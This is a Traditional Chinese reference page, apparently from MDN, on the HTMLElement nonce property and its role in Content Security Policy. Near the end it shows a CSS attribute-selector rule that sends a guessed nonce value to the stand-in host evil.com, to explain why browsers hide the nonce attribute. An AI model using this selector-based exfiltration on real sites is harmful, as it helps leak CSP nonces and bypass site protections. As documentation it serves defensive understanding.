HTMLElement: nonce 屬性

Baseline 已廣泛支援

此特性已經十分成熟,可在許多裝置和瀏覽器版本上使用。自 2022 年 3 月起,它已在各瀏覽器中可用。

HTMLElement 介面的 nonce 屬性返回一個加密的、僅使用一次的數字,用於 內容安全策略 來確定是否允許給定的獲取操作繼續進行。

在後續的實現中,元素僅向指令碼公開其 nonce 屬性(而不是向 CSS 屬性選擇器等側通道公開)。

示例

檢索 nonce 值

過去,並非所有瀏覽器都支援 nonce IDL 屬性,因此一種解決方法是嘗試使用 getAttribute 作為備用方法。

js
let nonce = script["nonce"] || script.getAttribute("nonce");

然而,近期版本的瀏覽器會隱藏透過這種方式訪問的 nonce 值(將返回一個空字串)。IDL 屬性(script['nonce'])將是訪問 nonce 的唯一方法。

隱藏 nonce 有助於防止攻擊者透過可以從內容屬性(如此 CSS 選擇器)中抓取資料的機制來洩露 nonce 資料。

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

規範

規範
HTML
# dom-noncedelement-nonce

瀏覽器相容性

另見